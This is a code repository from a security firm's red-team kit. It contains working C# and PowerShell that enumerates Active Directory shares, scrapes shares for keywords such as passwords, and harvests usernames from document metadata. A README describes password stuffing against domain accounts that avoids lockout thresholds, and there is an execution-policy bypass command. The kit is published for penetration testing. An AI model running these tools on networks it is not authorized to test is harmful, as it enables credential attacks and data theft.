├── .gitmodules ├── SharpCred ├── SharpCreds │ ├── Properties │ │ └── PublishProfiles │ │ │ ├── FolderProfile.pubxml.user │ │ │ └── FolderProfile.pubxml │ ├── ShapCred_Release.csproj │ ├── ShapCred_Release.sln │ └── Program.cs └── Readme.md ├── SharpShares ├── SharpShareRelease │ ├── Properties │ │ └── PublishProfiles │ │ │ ├── FolderProfile.pubxml.user │ │ │ └── FolderProfile.pubxml │ ├── SharpShareRelease2.csproj │ ├── SharpShareRelease2.sln │ └── Program.cs └── README.md ├── Invoke-Ghost ├── Invoke-Ghost.ps1 └── README.md ├── README.md └── DomainScrape ├── Invoke-NetShareScrape.ps1 ├── README.md └── Invoke-Scrape.ps1 /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "ScrapingKit"] 2 | path = ScrapingKit 3 | url = https://github.com/LaresLLC/ScrapingKit 4 | 5 | [submodule "SlinkyCat"] 6 | path = SlinkyCat 7 | url = https://github.com/LaresLLC/SlinkyCat 8 | -------------------------------------------------------------------------------- /SharpCred/SharpCreds/Properties/PublishProfiles/FolderProfile.pubxml.user: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | True|2023-07-03T10:20:52.9898775Z; 8 | 9 | 10 | -------------------------------------------------------------------------------- /SharpShares/SharpShareRelease/Properties/PublishProfiles/FolderProfile.pubxml.user: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | True|2023-06-23T11:14:36.9590458Z; 8 | 9 | 10 | -------------------------------------------------------------------------------- /SharpShares/SharpShareRelease/SharpShareRelease2.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net6.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /SharpCred/SharpCreds/ShapCred_Release.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net6.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /SharpCred/SharpCreds/Properties/PublishProfiles/FolderProfile.pubxml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | Release 8 | Any CPU 9 | bin\Release\net6.0\publish\win-x86\ 10 | FileSystem 11 | <_TargetId>Folder 12 | net6.0 13 | win-x86 14 | true 15 | true 16 | false 17 | false 18 | 19 | -------------------------------------------------------------------------------- /SharpShares/SharpShareRelease/Properties/PublishProfiles/FolderProfile.pubxml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | Release 8 | Any CPU 9 | bin\Release\net6.0\publish\win-x86\ 10 | FileSystem 11 | <_TargetId>Folder 12 | net6.0 13 | win-x86 14 | true 15 | true 16 | false 17 | false 18 | 19 | -------------------------------------------------------------------------------- /SharpCred/SharpCreds/ShapCred_Release.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33712.159 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ShapCred_Release", "ShapCred_Release.csproj", "{EF1DCF82-17E8-43CE-B246-24F31DB175B0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {14CA98E9-B6C8-455A-A50C-E224E03D80FD} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpShares/SharpShareRelease/SharpShareRelease2.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33712.159 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpShareRelease2", "SharpShareRelease2.csproj", "{806906E5-0FA6-4915-B242-0291F15F60C4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {9A504351-CB14-4EA1-8FFC-ABC12F837EE0} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Invoke-Ghost/Invoke-Ghost.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-Ghost { 2 | $directoryPath = Read-Host -Prompt "Enter the directory path" 3 | $shell = New-Object -ComObject Shell.Application 4 | 5 | # Get all files in the directory and its subdirectories 6 | $files = Get-ChildItem -Path $directoryPath -File -Recurse 7 | 8 | foreach ($file in $files) { 9 | $folder = Split-Path $file.FullName 10 | $fileName = $file.Name 11 | 12 | $shellFolder = $shell.Namespace($folder) 13 | $shellFile = $shellFolder.ParseName($fileName) 14 | 15 | $authorProperty = 20 # Property ID for "Author" 16 | $createdProperty = 4 # Property ID for "Date created" 17 | $modifiedProperty = 3 # Property ID for "Date modified" 18 | 19 | $author = $shellFolder.GetDetailsOf($shellFile, $authorProperty) 20 | $createdDate = $shellFolder.GetDetailsOf($shellFile, $createdProperty) 21 | $modifiedDate = $shellFolder.GetDetailsOf($shellFile, $modifiedProperty) 22 | 23 | # Only display responses with non-blank Author 24 | if (![string]::IsNullOrWhiteSpace($author)) { 25 | # Store the results in a variable with line breaks 26 | $results = @" 27 | Location: $folder 28 | File: $fileName 29 | Author: $author 30 | Created Date: $createdDate 31 | Last Modified Date: $modifiedDate 32 | 33 | "@ 34 | 35 | # Output the results 36 | Write-Host $results 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SharpShares/README.md: -------------------------------------------------------------------------------- 1 | # SharpShares (Offensive SysAdmin Suite) 2 | Quick domain share enumeration tool 3 | 4 | 5 | Compile, execute from within a domain joined machine, it collates a list of all domain joined hosts, and then attempts to enumerate any exposed shares that your account can access. 6 | 7 | Bish Bash Bosh 8 | 9 | ``` 10 | PS C:\Users\g.white> C:\Users\g.white\Desktop\SharpShareRelease2.exe 11 | \\WIN-MS87LHLC91U\NETLOGON 12 | \\WIN-MS87LHLC91U\SYSVOL 13 | \\LABLAB-PC1\The-Shares 14 | \\LABLAB-PC1\Users 15 | PS C:\Users\g.white> 16 | ``` 17 | 18 | 19 | 20 | The .sln file should do everything for you, but just in case I made some notes below. 21 | 22 | Before you try and compile it check that you have installed System.DirectoryServices 7.0.1 via NuGet then it should compile. 23 | It should work with future updates of System.DirectoryServices I just picked 7.0.1 because it was the latest at the time of creation. 24 | 25 | Compile instructions, double click the SharpShareRelease2.sln file, this will open Visual Studio (VS), I’m using VS 2022. 26 | 27 | On the right under Solution Explorer, right click on SharpShareRelease2 and select ‘Manage NuGet Packages …’ This will open the NuGet Tab back on the left side of the screen, click on Installed and you should see System.DirectoryServices if you don’t click on the Browse tab next to Installed and search for System.DirectoryServices and install it. 7.0.1 was latest at time of creation. 28 | 29 | Then try and run it, if you get the exe pop up, its looking good, to publish go back to Solution Explorer, right click on SharpShareRelease2 and select Publish, click on Show all Settings, and select 30 | 31 | ```Configuration: Release | Any CPU 32 | Target framework: net6.0 33 | Deployment mode: Self-contained 34 | Target runtime: win-x86 35 | Target location: set to what you want. 36 | ``` 37 | 38 | Then click on the File publish option arrow which is just under Target location, and tick Produce single file. Click save then select Publish towards the top middle of the page. 39 | 40 | This should then publish the .exe 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Offensive Sysadmin aka Adversary Kit 2 | A collection of tools demonstrated at our recent talk, Adversaries Have It Easy, brought to you by [Neil Lines](https://twitter.com/myexploit2600) & [Andy Gill](https://twitter.com/ZephrFish) at [Lares Labs](https://labs.lares.com). 3 | 4 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/7784b1c6-28dd-442e-a4a9-ce3fd77798f2) 5 | 6 | The tooling is written in PS and C# using .net 6 for CS binaries. None are provided pre-compiled but instructions on how to do so can be found in the blog post: 7 | 8 | https://labs.lares.com/offensive-sysadmin/ 9 | 10 | ## Setup 11 | To pull down all of the tools simply issue: 12 | ``` 13 | git clone --recurse-submodules -j8 git://github.com/LaresLLC/OffensiveSysAdmin.git 14 | ``` 15 | 16 | Each module has its own readme and can run independently of the suite. 17 | 18 | ## Tooling 19 | The table below details what each tool does, and the subsections detail how to use each. 20 | 21 | | **Name** | **Language** | **Description** | 22 | |--------------|--------------|--------------| 23 | | DomainScrape | PS | Hunt for keywords in documents across domain shares. | 24 | | Invoke-Ghost | PS | Only scrapes metadata from office documents from an entire directory, a stealthy way to grab usernames. | 25 | | [ScrapingKit](https://github.com/LaresLLC/ScrapingKit) | PS & C# | Scraping Kit comprises several tools for scraping services for keywords, useful for initial enumeration of Domain Controllers or if you have popped a user's desktop, their outlook client. | 26 | | SharpCred | C# | Automates the harvesting of domain user accounts / password stuffing/domain groups, which can be used from domain or nondomain joined hosts. | 27 | | SharpShares | C# | Takes no input, executes, and gives you a list of shares the domain user can access. | 28 | | [SlinkyCat](https://github.com/LaresLLC/SlinkyCat) | PS | A collection of AD Audit functions for easy identification of misconfigurations within active directories, users, groups, permissions, and mishandling data within objects | 29 | 30 | 31 | Read this blog post for more detailed information over on [Lares Labs](https://labs.lares.com/) 32 | -------------------------------------------------------------------------------- /Invoke-Ghost/README.md: -------------------------------------------------------------------------------- 1 | # Invoke-Ghost (Offensive SysAdmin Suite) 2 | Sneaky sneak way to scrape metadata from office docs using PowerShell from local and remote shares. 3 | 4 | ``` PS C:\Users\user1\Desktop\Scripts\Ghost> powershell.exe -nop -exec bypass ``` 5 | 6 | 7 | Executing the script on a local machine: 8 | 9 | ``` 10 | PS C:\Users\user1\Desktop\Scripts\Ghost> Import-Module .\Invoke-Ghost.ps1 11 | 12 | PS C:\Users\user1\Desktop\Scripts\Ghost> Invoke-Ghost 13 | 14 | Enter the directory path: C:\Users\user1\Desktop\Meta2\ 15 | 16 | Location: C:\Users\user1\Desktop\Meta2 17 | File: fddfdfdf.pptx 18 | Author: Freaky Dico 19 | Created Date: 22/06/2023 12:24 20 | Last Modified Date: 21/06/2023 12:29 21 | 22 | Location: C:\Users\user1\Desktop\Meta2 23 | File: Test1.docx 24 | Author: Freaky Dico 25 | Created Date: 22/06/2023 13:23 26 | Last Modified Date: 22/06/2023 13:23 27 | 28 | Location: C:\Users\user1\Desktop\Meta2 29 | File: Test2.doc 30 | Author: Freaky Lines 31 | Created Date: 22/06/2023 13:23 32 | Last Modified Date: 22/06/2023 13:23 33 | 34 | Location: C:\Users\user1\Desktop\Meta2 35 | File: Test_1.xls 36 | Author: FDico 37 | Created Date: 22/06/2023 12:24 38 | Last Modified Date: 21/06/2023 12:28 39 | 40 | Location: C:\Users\user1\Desktop\Meta2 41 | File: Test_2.xlsx 42 | Author: FDico 43 | Created Date: 22/06/2023 12:24 44 | Last Modified Date: 21/06/2023 12:29 45 | 46 | ``` 47 | 48 | Executing the script against a domain controllers share path. 49 | 50 | ``` 51 | PS C:\Users\user1\Desktop\Scripts\Ghost> Invoke-Ghost 52 | Enter the directory path: \\hacklab.local\NETLOGON\ 53 | Location: \\hacklab.local\NETLOGON 54 | File: fddfdfdf.pptx 55 | Author: Freaky Dico 56 | Created Date: 21/06/2023 12:29 57 | Last Modified Date: 21/06/2023 12:29 58 | 59 | Location: \\hacklab.local\NETLOGON 60 | File: Test1.docx 61 | Author: Freaky Dico 62 | Created Date: 22/06/2023 13:23 63 | Last Modified Date: 22/06/2023 13:23 64 | 65 | Location: \\hacklab.local\NETLOGON 66 | File: Test2.doc 67 | Author: Freaky Dico 68 | Created Date: 22/06/2023 13:23 69 | Last Modified Date: 22/06/2023 13:23 70 | 71 | Location: \\hacklab.local\NETLOGON 72 | File: Test_1.xls 73 | Author: FDico 74 | Created Date: 21/06/2023 12:28 75 | Last Modified Date: 21/06/2023 12:28 76 | 77 | Location: \\hacklab.local\NETLOGON 78 | File: Test_2.xlsx 79 | Author: FDico 80 | Created Date: 21/06/2023 12:29 81 | Last Modified Date: 21/06/2023 12:29 82 | ``` 83 | 84 | Executing the script against a remote host share path. 85 | 86 | ``` 87 | PS C:\Users\user1\Desktop\Scripts\Ghost> Invoke-Ghost 88 | Enter the directory path: \\Win11-Host-2\Silly_Share\ 89 | Location: \\Win11-Host-2\Silly_Share 90 | File: fddfdfdf.pptx 91 | Author: Freaky Dico 92 | Created Date: 21/06/2023 12:29 93 | Last Modified Date: 21/06/2023 12:29 94 | 95 | Location: \\Win11-Host-2\Silly_Share 96 | File: Test1.docx 97 | Author: Freaky Dico 98 | Created Date: 22/06/2023 13:23 99 | Last Modified Date: 22/06/2023 13:23 100 | 101 | Location: \\Win11-Host-2\Silly_Share 102 | File: Test2.doc 103 | Author: Freaky Dico 104 | Created Date: 22/06/2023 13:23 105 | Last Modified Date: 22/06/2023 13:23 106 | 107 | Location: \\Win11-Host-2\Silly_Share 108 | File: Test_1.xls 109 | Author: FDico 110 | Created Date: 21/06/2023 12:28 111 | Last Modified Date: 21/06/2023 12:28 112 | 113 | Location: \\Win11-Host-2\Silly_Share 114 | File: Test_2.xlsx 115 | Author: FDico 116 | Created Date: 21/06/2023 12:29 117 | Last Modified Date: 21/06/2023 12:29 118 | 119 | PS C:\Users\user1\Desktop\Scripts\Ghost> 120 | 121 | ``` 122 | -------------------------------------------------------------------------------- /SharpShares/SharpShareRelease/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.Net; 5 | using System.Net.NetworkInformation; 6 | using System.Runtime.InteropServices; 7 | 8 | public class Program 9 | { 10 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] 11 | public static extern int NetShareEnum( 12 | string serverName, 13 | int level, 14 | ref IntPtr bufPtr, 15 | int prefMaxLen, 16 | ref int entriesRead, 17 | ref int totalEntries, 18 | ref int resumeHandle 19 | ); 20 | 21 | [DllImport("Netapi32.dll")] 22 | public static extern int NetApiBufferFree(IntPtr buffer); 23 | 24 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 25 | public struct SHARE_INFO_1 26 | { 27 | [MarshalAs(UnmanagedType.LPWStr)] 28 | public string shi1_netname; 29 | public uint shi1_type; 30 | [MarshalAs(UnmanagedType.LPWStr)] 31 | public string shi1_remark; 32 | } 33 | 34 | public static int GetSize() 35 | { 36 | return Marshal.SizeOf(typeof(SHARE_INFO_1)); 37 | } 38 | 39 | public static string GDN1() 40 | { 41 | string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName; 42 | if (!string.IsNullOrEmpty(domainName)) 43 | { 44 | return domainName; 45 | } 46 | else 47 | { 48 | string hostName = Dns.GetHostName(); 49 | string[] hostNameParts = hostName.Split('.'); 50 | if (hostNameParts.Length > 1) 51 | { 52 | return string.Join(".", hostNameParts, 1, hostNameParts.Length - 1); 53 | } 54 | else 55 | { 56 | return hostName; 57 | } 58 | } 59 | } 60 | 61 | public static void GS1(string[] computerNames) 62 | { 63 | foreach (string domainHost in computerNames) 64 | { 65 | int queryLevel = 1; 66 | IntPtr ptrInfo = IntPtr.Zero; 67 | int entriesRead = 0; 68 | int totalEntries = 0; 69 | int resumeHandle = 0; 70 | 71 | int result = NetShareEnum(domainHost, queryLevel, ref ptrInfo, -1, ref entriesRead, ref totalEntries, ref resumeHandle); 72 | long offset = ptrInfo.ToInt64(); 73 | 74 | if (result == 0 && offset > 0) 75 | { 76 | int increment = GetSize(); 77 | 78 | for (int i = 0; i < entriesRead; i++) 79 | { 80 | IntPtr newIntPtr = new IntPtr(offset); 81 | SHARE_INFO_1 info = (SHARE_INFO_1)Marshal.PtrToStructure(newIntPtr, typeof(SHARE_INFO_1)); 82 | 83 | if (info.shi1_netname != "ADMIN$" && info.shi1_netname != "C$" && info.shi1_netname != "IPC$") 84 | { 85 | Console.WriteLine("\\\\" + domainHost + "\\" + info.shi1_netname); 86 | } 87 | 88 | offset += increment; 89 | } 90 | 91 | NetApiBufferFree(ptrInfo); 92 | } 93 | else if (result != 0) 94 | { 95 | // Error occurred, but we skip displaying the error message 96 | continue; 97 | } 98 | } 99 | } 100 | 101 | public static void Main() 102 | { 103 | string domainName = GDN1(); 104 | string ldapPath = "LDAP://" + domainName; 105 | 106 | List computerNames = new List(); 107 | using (System.DirectoryServices.DirectoryEntry root = new System.DirectoryServices.DirectoryEntry(ldapPath)) 108 | { 109 | using (System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(root, "(objectCategory=computer)")) 110 | { 111 | searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree; 112 | searcher.PageSize = 1000; 113 | searcher.PropertiesToLoad.Add("name"); 114 | 115 | foreach (System.DirectoryServices.SearchResult result in searcher.FindAll()) 116 | { 117 | computerNames.Add(result.Properties["name"][0].ToString()); 118 | } 119 | } 120 | } 121 | 122 | GS1(computerNames.ToArray()); 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /SharpCred/Readme.md: -------------------------------------------------------------------------------- 1 | # SharpCred (Offensive SysAdmin Suite) 2 | 3 | 4 | SharpCred allows users to authenticate with a domain, generate or load a list of usernames, and check if a provided password matches any of the usernames. It also retrieves the domain groups associated with valid credentials and identifies high privileged accounts based on predefined groups. The program can enumerate the domain password policy and provides an interactive menu for performing these operations. 5 | 6 | 7 | To compile double click the ShapCred_Release.sln file which should open Visual Studio for you. 8 | 9 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/0275996a-4771-4af8-baa6-6c73bb6191c6) 10 | 11 | 12 | 13 | If you want to look at the C# click on Program.cs under the Solution Explorer 14 | 15 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/72d48a0e-8a06-426f-a2c3-d276dc85665f) 16 | 17 | 18 | 19 | 20 | The file contains all that is required to compile so you can just right-click on SharpCred_Release and select Publish. 21 | 22 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/d9eb0248-0906-489e-b06c-19311a71a7b8) 23 | 24 | 25 | 26 | If you click on Show all settings, you can see the publish settings, which will compile SharpCred as self-contained single binary file. 27 | 28 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/515523c2-ab16-4470-b4af-0eadaa1253ce) 29 | 30 | 31 | 32 | 33 | 34 | Once you have published the file, you can then copy the binary to a testing machine. 35 | 36 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/0bb6eaf3-2936-46cc-8400-80822296b471) 37 | 38 | 39 | The program can be run from domain or nondomain machines, to connect from a nondomain machine, verify that you can ping the full domain to confirm DNS routing. 40 | 41 | 42 | ![image](https://github.com/LaresLLC/OffensiveSysAdmin/assets/5783068/01cf60b8-209a-473c-a610-685294dd2e28) 43 | 44 | If you can’t ping the full domain, check the DNS setting on your test machine, which should point to the domain DNS IP address, which is typically the domain controller’s IP address. 45 | In the lab we use DHCP for the VMs but add a static IP address for local DNS pointing at the lab domain controllers IP address of 192.168.68.220. 46 | 47 | To execute it, you can either double click it or open it in CMD/PowerShell. 48 | 49 | You are then asked to authenticate with the domain. If you add a wrong credential, it will be rejected by the local domain controller, and you are prompted to try again. You can authenticate with an account belonging to only the domain users’ group. 50 | 51 | Successful authentication will result in complete menu loading. All options are executed over LDAP, and it is advised to execute option 3 first, which will enumerate the domain password and lockout policy. 52 | 53 | A lockout threshold of 0 is the default setting in a domain, it means no policy has been set and you can attempt as many passwords as you wish without risk of lockouts. 54 | 55 | 56 | If you see any number other than 0 take note of it, as that is the amount of times you could attempt password choices within the defined time period, to be carful it would be recommended to not attempt 2 less tries than the number specifies, example if the Lockout Threshold was set to 5 it would be advised to only attempt 3 tries within a time period. 57 | 58 | You can return to the original menu by pressing b. 59 | 60 | ``` 61 | Enter a password to try against the usernames ('b' to return to the original menu or 'q' to quit): b 62 | Choose an option: 63 | 1. Generate usernames using LDAP query 64 | 2. Provide usernames from a file 65 | 3. Enumerate domain password policy 66 | 4. Quit 67 | 68 | Enter your choice: 69 | 70 | ``` 71 | 72 | Option 1: Scrapes a list of all of domain usernames using LDAP. 73 | 74 | It lists the number of usernames that are harvested and then offers you the option to save a copy to disk if you wish to. These usernames are stored in memory and are used as the target list during the password stuffing attempt. 75 | 76 | Saving the harvested username list back to disk. 77 | 78 | After pressing enter you are asked to add a password choice, be careful as each attempt will be executed so check for typos, when ready press enter. 79 | 80 | The program then will attempt to authenticate with the domain controller using the harvested username list combined with the password choice. Any successful matches are printed to the console, followed by their domain group, and any accounts belonging to a high privileged group. 81 | 82 | Option 2: Allows you to use your own list of usernames, which can be used as a stealthy approach when in a security mature environment. 83 | 84 | Usernames should be provided in a list with one username per line. 85 | 86 | -------------------------------------------------------------------------------- /DomainScrape/Invoke-NetShareScrape.ps1: -------------------------------------------------------------------------------- 1 | 2 | <# 3 | 4 | Scrapes domain controller NETLOGON but not SYSVOL for all key words and also searches all domain shares for same keywords. 5 | 6 | #> 7 | 8 | 9 | function Invoke-NetShareScrape { 10 | 11 | Add-Type -TypeDefinition @' 12 | using System; 13 | using System.Runtime.InteropServices; 14 | 15 | public class Netapi32 { 16 | [DllImport("Netapi32.dll")] 17 | public static extern int DsRoleGetPrimaryDomainInformation( 18 | string lpServer, 19 | int InfoLevel, 20 | out IntPtr Buffer 21 | ); 22 | 23 | [DllImport("Netapi32.dll")] 24 | public static extern int NetApiBufferFree(IntPtr Buffer); 25 | 26 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] 27 | public static extern int NetShareEnum( 28 | string serverName, 29 | int level, 30 | ref IntPtr bufPtr, 31 | int prefMaxLen, 32 | ref int entriesRead, 33 | ref int totalEntries, 34 | ref int resumeHandle 35 | ); 36 | } 37 | 38 | [StructLayout(LayoutKind.Sequential)] 39 | public struct DSROLE_PRIMARY_DOMAIN_INFO_BASIC { 40 | public IntPtr DomainNameFlat; 41 | public int DomainRole; 42 | public IntPtr DomainNameDns; 43 | public IntPtr DomainForestName; 44 | public int Flags; 45 | } 46 | 47 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 48 | public struct SHARE_INFO_1 { 49 | [MarshalAs(UnmanagedType.LPWStr)] 50 | public string shi1_netname; 51 | public uint shi1_type; 52 | [MarshalAs(UnmanagedType.LPWStr)] 53 | public string shi1_remark; 54 | } 55 | 56 | public class SHARE_INFO_1_Helper { 57 | public static int GetSize() { 58 | return Marshal.SizeOf(typeof(SHARE_INFO_1)); 59 | } 60 | } 61 | '@ 62 | 63 | function IsDomainController { 64 | $domainControllerRole = 3 # DSROLE_PRIMARY_DOMAIN_INFO_BASIC.DomainRole for a domain controller 65 | 66 | $bufferPtr = [IntPtr]::Zero 67 | $result = [Netapi32]::DsRoleGetPrimaryDomainInformation($null, 0, [ref]$bufferPtr) 68 | 69 | if ($result -eq 0 -and $bufferPtr -ne [IntPtr]::Zero) { 70 | $domainInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($bufferPtr, [type][DSROLE_PRIMARY_DOMAIN_INFO_BASIC]) 71 | 72 | if ($domainInfo.DomainRole -eq $domainControllerRole) { 73 | return $true 74 | } 75 | } 76 | 77 | if ($bufferPtr -ne [IntPtr]::Zero) { 78 | [Netapi32]::NetApiBufferFree($bufferPtr) 79 | } 80 | 81 | return $false 82 | } 83 | 84 | function Get-Shares { 85 | [OutputType('ShareInfo')] 86 | [CmdletBinding()] 87 | Param( 88 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 89 | [Alias('HostName', 'dnshostname', 'name')] 90 | [ValidateNotNullOrEmpty()] 91 | [String[]] 92 | $ComputerName = $null 93 | ) 94 | 95 | BEGIN { 96 | if (-not $ComputerName) { 97 | $adSearcher = [adsisearcher]'(objectCategory=computer)' 98 | $adSearcher.SearchScope = 'Subtree' 99 | $adSearcher.PageSize = 1000 100 | $adSearcher.PropertiesToLoad.AddRange(@('name')) 101 | $ComputerName = $adSearcher.FindAll() | ForEach-Object { $_.Properties['name'][0] } 102 | } 103 | } 104 | 105 | PROCESS { 106 | foreach ($DomainHost in $ComputerName) { 107 | $QueryLevel = 1 108 | $PtrInfo = [IntPtr]::Zero 109 | $EntriesRead = 0 110 | $TotalRead = 0 111 | $ResumeHandle = 0 112 | 113 | $Result = [Netapi32]::NetShareEnum($DomainHost, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 114 | $Offset = $PtrInfo.ToInt64() 115 | 116 | if (($Result -eq 0) -and ($Offset -gt 0)) { 117 | $Increment = [SHARE_INFO_1_Helper]::GetSize() 118 | 119 | for ($i = 0; $i -lt $EntriesRead; $i++) { 120 | $NewIntPtr = New-Object System.IntPtr -ArgumentList $Offset 121 | $Info = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NewIntPtr, [type][SHARE_INFO_1]) 122 | 123 | if (($Info.shi1_netname -ne 'ADMIN$') -and ($Info.shi1_netname -ne 'C$') -and ($Info.shi1_netname -ne 'IPC$')) { 124 | "\\$DomainHost\$($Info.shi1_netname)" 125 | } 126 | 127 | $Offset += $Increment 128 | } 129 | 130 | $Null = [Netapi32]::NetApiBufferFree($PtrInfo) 131 | } 132 | else { 133 | Write-Verbose "[Get-Shares] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 134 | } 135 | } 136 | } 137 | } 138 | 139 | function PromptForCustomKeywords { 140 | [CmdletBinding()] 141 | param ( 142 | [Switch]$ExcludeCurrentMachine 143 | ) 144 | 145 | $computerName = $env:COMPUTERNAME 146 | $currentMachinePath = "\\$computerName" 147 | 148 | $keywords = @() 149 | 150 | Write-Host "Enter initial keyword (or press enter to finish):" 151 | $keyword = Read-Host 152 | 153 | while ($keyword -ne '') { 154 | $keywords += $keyword 155 | Write-Host "Enter additional keyword (or press enter to finish):" 156 | $keyword = Read-Host 157 | } 158 | 159 | Write-Host 160 | 161 | $shares = Get-Shares 162 | 163 | foreach ($share in $shares) { 164 | $sharePath = "\\$($share.Split('\')[2])\$($share.Split('\')[3])" 165 | 166 | if ($excludeCurrentMachine -and ($sharePath -eq $currentMachinePath)) { 167 | continue 168 | } 169 | 170 | try { 171 | Get-ChildItem -LiteralPath $sharePath -Recurse -File -ErrorAction Stop | Where-Object { $_.Name -notin @('GptTmpl.inf', 'GPT.INI', 'Registry.pol') -and $_.Extension -match '^(?:\.txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls)$' } | ForEach-Object { 172 | $fileContent = Get-Content -LiteralPath $_.FullName -Raw 173 | 174 | $matchingLines = $fileContent | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false 175 | 176 | if ($matchingLines) { 177 | $matchingWords = ($matchingLines.Line | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false -AllMatches).Matches.Value -join ' ' 178 | 179 | [PSCustomObject]@{ 180 | ComputerName = $share.Split('\')[2] 181 | ShareName = $share.Split('\')[3] 182 | FileName = $_.Name 183 | FullName = $_.FullName 184 | MatchingLines = if ($matchingLines.Line.Length -le 2000) { $matchingLines.Line } else { $matchingLines.Line.Substring(0, 2000) + "..." } 185 | AdditionalKeywordsFound = $matchingWords 186 | } 187 | } 188 | } 189 | } 190 | catch { 191 | Write-Verbose "[PromptForCustomKeywords] Error accessing share '$sharePath': $($_.Exception.Message)" 192 | } 193 | } 194 | } 195 | 196 | PromptForCustomKeywords -ExcludeCurrentMachine 197 | 198 | } -------------------------------------------------------------------------------- /DomainScrape/README.md: -------------------------------------------------------------------------------- 1 | # DomainScrape (Offensive SysAdmin Suite) 2 | Domain Scrape is an extension of [ScrapingKit](https://github.com/LaresLLC/ScrapingKit) that will scrape shares for supplied keywords, think of it as SnafflerLite but more focused. 3 | 4 | ***Invoke-Scrape.ps1*** 5 | 6 | 7 | Offers users the following 2 options. 8 | 9 | 10 | Scrape the Domain Controller - This option will only scrape NETLOGON and SYSVOL directories. 11 | Scrape all Domain Shares - This option only scrapes NETLOGON on the DC and then all other readable available domain shares. 12 | 13 | SYSVOL contains Group Policies (GPP), if you don’t want to manually review them use option 1. 14 | 15 | 16 | 17 | ***Invoke-NetShareScrape.ps1*** 18 | 19 | Used to 